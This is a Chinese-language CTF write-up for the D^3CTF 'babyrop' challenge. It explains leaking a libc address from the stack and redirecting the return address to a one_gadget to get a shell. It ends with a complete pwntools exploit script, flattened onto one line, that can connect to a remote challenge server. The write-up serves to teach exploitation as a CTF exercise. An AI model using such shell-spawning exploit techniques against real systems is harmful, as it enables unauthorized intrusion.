D^3CTF babyrop 经验总结

思路:
调试时发现在栈中有一个libc_start_main的地址
D^3CTF babyrop 经验总结
文章图片

可以根据这个地址算出距one_gadget 的偏移
D^3CTF babyrop 经验总结
文章图片

得到这个偏移后再让libc_start_main这个地址加上这个偏移即可得到one_gaget的地址, 之后再用这个地址覆盖ret即可getshell, 需要注意的是要满足one_gadget的约束条件, 我选则的是偏移为0x4526a 处的one_gadget, 所以需要保证[rsp + 0x30] == NULL 满足
调用的相关函数:
使栈中的数据相加
D^3CTF babyrop 经验总结
文章图片

调整 “栈指针”, 使"栈指针"想上移动
D^3CTF babyrop 经验总结
文章图片

向栈中写入零
D^3CTF babyrop 经验总结
文章图片

还需要注意的是检查的数据的类型是无符号数, 在多次调用0x28指令后
前三个入栈的指令都无法执行, 所以要通过其它指令来达到写零与覆写ret的目的
D^3CTF babyrop 经验总结
文章图片

【D^3CTF babyrop 经验总结】EXP:

from pwn import *context(arch='amd64', os='linux', terminal=['tmux', 'splitw', '-h']) context.log_level='debug' debug = 1 d = 1execve = "./babyrop" if debug == 1: p = process(execve) if d == 1: gdb.attach(p) else: p = remote("106.54.67.184", 15924)#0x28 -> *(_DWORD*)(a3 + 16) = 0 #0x42 -> *a1 - 8 #0x34 -> *a1 - 8, copy stack datapayload = '\x28\x28\x28' + '\x34'*12 + '\x56' + p32(0x24a3a) + '\x21' + '\x34\x34\x34\x34\x34' p.sendline(payload)''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL '''raw_input()p.interactive()

复现结果:
D^3CTF babyrop 经验总结
文章图片

    推荐阅读